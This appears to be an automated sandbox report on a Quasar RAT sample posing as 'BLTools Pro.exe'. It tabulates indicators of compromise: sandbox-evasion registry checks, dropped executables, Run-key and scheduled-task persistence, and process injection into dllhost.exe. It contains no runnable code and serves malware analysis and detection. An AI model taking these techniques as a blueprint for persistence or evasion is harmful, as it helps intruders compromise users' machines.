quasar | da5d423ee2f8103c5d68005c79e05e220177eea2e0af7d06a5666b8ceeb77c3c

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation	BLTools Pro.exe
Key value queried	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation	svchost.exe

Executes dropped EXE 7 IoCs

pid	Process
1596	svchost.exe
1856	BLTools.exe
3816	Install.exe
4828	svchost.exe
976	$77.exe
512	Install.exe
1816	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Local\\Temp\\svchost.exe"	BLTools Pro.exe

Drops file in System32 directory 16 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4568 set thread context of 4196	4568	powershell.EXE	102

Drops file in Program Files directory 25 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Google\Chrome\Application\110.0.5481.104\Installer\chrmstp.exe	svchost.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\110.0.5481.104\Installer\setup.exe	svchost.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\Source Engine\OSE.EXE	svchost.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe	svchost.exe
File opened for modification	C:\Program Files\7-Zip\7z.exe	svchost.exe
File opened for modification	C:\Program Files\7-Zip\7zFM.exe	svchost.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	svchost.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\OFFICE16\LICLUA.EXE	svchost.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe	svchost.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.2\createdump.exe	svchost.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome.exe	svchost.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	svchost.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	svchost.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe	svchost.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\VSTO\10.0\VSTOInstaller.exe	svchost.exe
File opened for modification	C:\Program Files\7-Zip\7zG.exe	svchost.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	svchost.exe
File opened for modification	C:\Program Files\dotnet\dotnet.exe	svchost.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\110.0.5481.104\notification_helper.exe	svchost.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\InspectorOfficeGadget.exe	svchost.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\110.0.5481.104\chrome_pwa_launcher.exe	svchost.exe
File opened for modification	C:\Program Files\7-Zip\Uninstall.exe	svchost.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	svchost.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	svchost.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe	svchost.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\svchost.exe	Install.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TiWorker.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	mousocoreworker.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={83CC3880-D931-4396-B8DE-3BC78124EFAB}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	mousocoreworker.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018400FA6C41685 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000a1929af59520ab4489ff7a2e5a01412d00000000020000000000106600000001000020000000dc41aa3b39e2ae629421e21280e6925b82022bbd65a11823a8103ba306f29801000000000e80000000020000200000003ad6677b11d995c6388bbe9450dccdfe773b9fe3a3d82883c5e3178a4d39c86980000000de2ca2599ee6e3cbfdd0dd3dbfd47426cae1278be9c6bb2048ff7eeeeb8bba06c8aa23792df140e8a029dc230b809d4bb6b0024ab9f998057c3756211434e2b31d6f7aaec61a70cc7e11a3efdb3d156b784a3e926eac36da16857bac18720f3e3aef5b9b3469de2d18c9901b3f06631d2a2f5d7c8d46396adc6dccae4ed09748400000007eca52504723c68afb0a744257a900e6ac31ad59b112f4e37c3b471aeee83c0c9e75f320eb2f578e163edae199678b7863325354677cb954c071d70798bee201	mousocoreworker.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek	mousocoreworker.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1719284495"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mousocoreworker.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
544	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4568	powershell.EXE
4568	powershell.EXE
4568	powershell.EXE
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4568	powershell.EXE
Token: SeDebugPrivilege	976	$77.exe
Token: SeDebugPrivilege	4568	powershell.EXE
Token: SeDebugPrivilege	4196	dllhost.exe
Token: SeShutdownPrivilege	2624	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	2624	mousocoreworker.exe
Token: SeShutdownPrivilege	2624	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	2624	mousocoreworker.exe
Token: SeShutdownPrivilege	2624	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	2624	mousocoreworker.exe
Token: SeShutdownPrivilege	3900	RuntimeBroker.exe
Token: SeShutdownPrivilege	2624	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	2624	mousocoreworker.exe
Token: SeShutdownPrivilege	3900	RuntimeBroker.exe
Token: SeShutdownPrivilege	2624	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	2624	mousocoreworker.exe
Token: SeAssignPrimaryTokenPrivilege	1660	svchost.exe
Token: SeIncreaseQuotaPrivilege	1660	svchost.exe
Token: SeSecurityPrivilege	1660	svchost.exe
Token: SeTakeOwnershipPrivilege	1660	svchost.exe
Token: SeLoadDriverPrivilege	1660	svchost.exe
Token: SeSystemtimePrivilege	1660	svchost.exe
Token: SeBackupPrivilege	1660	svchost.exe
Token: SeRestorePrivilege	1660	svchost.exe
Token: SeShutdownPrivilege	1660	svchost.exe
Token: SeSystemEnvironmentPrivilege	1660	svchost.exe
Token: SeUndockPrivilege	1660	svchost.exe
Token: SeManageVolumePrivilege	1660	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1660	svchost.exe
Token: SeIncreaseQuotaPrivilege	1660	svchost.exe
Token: SeSecurityPrivilege	1660	svchost.exe
Token: SeTakeOwnershipPrivilege	1660	svchost.exe
Token: SeLoadDriverPrivilege	1660	svchost.exe
Token: SeSystemtimePrivilege	1660	svchost.exe
Token: SeBackupPrivilege	1660	svchost.exe
Token: SeRestorePrivilege	1660	svchost.exe
Token: SeShutdownPrivilege	1660	svchost.exe
Token: SeSystemEnvironmentPrivilege	1660	svchost.exe
Token: SeUndockPrivilege	1660	svchost.exe
Token: SeManageVolumePrivilege	1660	svchost.exe
Token: SeAuditPrivilege	2668	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1660	svchost.exe
Token: SeIncreaseQuotaPrivilege	1660	svchost.exe
Token: SeSecurityPrivilege	1660	svchost.exe
Token: SeTakeOwnershipPrivilege	1660	svchost.exe
Token: SeLoadDriverPrivilege	1660	svchost.exe
Token: SeSystemtimePrivilege	1660	svchost.exe
Token: SeBackupPrivilege	1660	svchost.exe
Token: SeRestorePrivilege	1660	svchost.exe
Token: SeShutdownPrivilege	1660	svchost.exe
Token: SeSystemEnvironmentPrivilege	1660	svchost.exe
Token: SeUndockPrivilege	1660	svchost.exe
Token: SeManageVolumePrivilege	1660	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1660	svchost.exe
Token: SeIncreaseQuotaPrivilege	1660	svchost.exe
Token: SeSecurityPrivilege	1660	svchost.exe
Token: SeTakeOwnershipPrivilege	1660	svchost.exe
Token: SeLoadDriverPrivilege	1660	svchost.exe
Token: SeSystemtimePrivilege	1660	svchost.exe
Token: SeBackupPrivilege	1660	svchost.exe
Token: SeRestorePrivilege	1660	svchost.exe
Token: SeShutdownPrivilege	1660	svchost.exe
Token: SeSystemEnvironmentPrivilege	1660	svchost.exe
Token: SeUndockPrivilege	1660	svchost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
976	$77.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
976	$77.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1856	BLTools.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3456	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 524 wrote to memory of 544	524	BLTools Pro.exe	86
PID 524 wrote to memory of 544	524	BLTools Pro.exe	86
PID 524 wrote to memory of 1596	524	BLTools Pro.exe	88
PID 524 wrote to memory of 1596	524	BLTools Pro.exe	88
PID 524 wrote to memory of 1856	524	BLTools Pro.exe	89
PID 524 wrote to memory of 1856	524	BLTools Pro.exe	89
PID 524 wrote to memory of 1856	524	BLTools Pro.exe	89
PID 1596 wrote to memory of 3816	1596	svchost.exe	94
PID 1596 wrote to memory of 3816	1596	svchost.exe	94
PID 1596 wrote to memory of 3816	1596	svchost.exe	94
PID 3816 wrote to memory of 4828	3816	Install.exe	96
PID 3816 wrote to memory of 4828	3816	Install.exe	96
PID 3816 wrote to memory of 4828	3816	Install.exe	96
PID 1596 wrote to memory of 976	1596	svchost.exe	95
PID 1596 wrote to memory of 976	1596	svchost.exe	95
PID 4828 wrote to memory of 512	4828	svchost.exe	97
PID 4828 wrote to memory of 512	4828	svchost.exe	97
PID 4828 wrote to memory of 512	4828	svchost.exe	97
PID 4568 wrote to memory of 4196	4568	powershell.EXE	102
PID 4568 wrote to memory of 4196	4568	powershell.EXE	102
PID 4568 wrote to memory of 4196	4568	powershell.EXE	102
PID 4568 wrote to memory of 4196	4568	powershell.EXE	102
PID 4568 wrote to memory of 4196	4568	powershell.EXE	102
PID 4568 wrote to memory of 4196	4568	powershell.EXE	102
PID 4568 wrote to memory of 4196	4568	powershell.EXE	102
PID 4568 wrote to memory of 4196	4568	powershell.EXE	102
PID 4196 wrote to memory of 612	4196	dllhost.exe	5
PID 4196 wrote to memory of 664	4196	dllhost.exe	7
PID 4196 wrote to memory of 952	4196	dllhost.exe	12
PID 4196 wrote to memory of 336	4196	dllhost.exe	13
PID 4196 wrote to memory of 740	4196	dllhost.exe	14
PID 4196 wrote to memory of 1032	4196	dllhost.exe	16
PID 4196 wrote to memory of 1116	4196	dllhost.exe	17
PID 4196 wrote to memory of 1124	4196	dllhost.exe	18
PID 4196 wrote to memory of 1132	4196	dllhost.exe	19
PID 4196 wrote to memory of 1140	4196	dllhost.exe	20
PID 4196 wrote to memory of 1248	4196	dllhost.exe	21
PID 4196 wrote to memory of 1324	4196	dllhost.exe	22
PID 4196 wrote to memory of 1332	4196	dllhost.exe	23
PID 4196 wrote to memory of 1388	4196	dllhost.exe	24
PID 4196 wrote to memory of 1564	4196	dllhost.exe	25
PID 4196 wrote to memory of 1580	4196	dllhost.exe	26
PID 4196 wrote to memory of 1588	4196	dllhost.exe	27
PID 4196 wrote to memory of 1608	4196	dllhost.exe	28
PID 4196 wrote to memory of 1720	4196	dllhost.exe	29
PID 4196 wrote to memory of 1740	4196	dllhost.exe	30
PID 4196 wrote to memory of 1768	4196	dllhost.exe	31
PID 4196 wrote to memory of 1864	4196	dllhost.exe	32
PID 4196 wrote to memory of 1972	4196	dllhost.exe	33
PID 4196 wrote to memory of 1980	4196	dllhost.exe	34
PID 4196 wrote to memory of 1380	4196	dllhost.exe	35
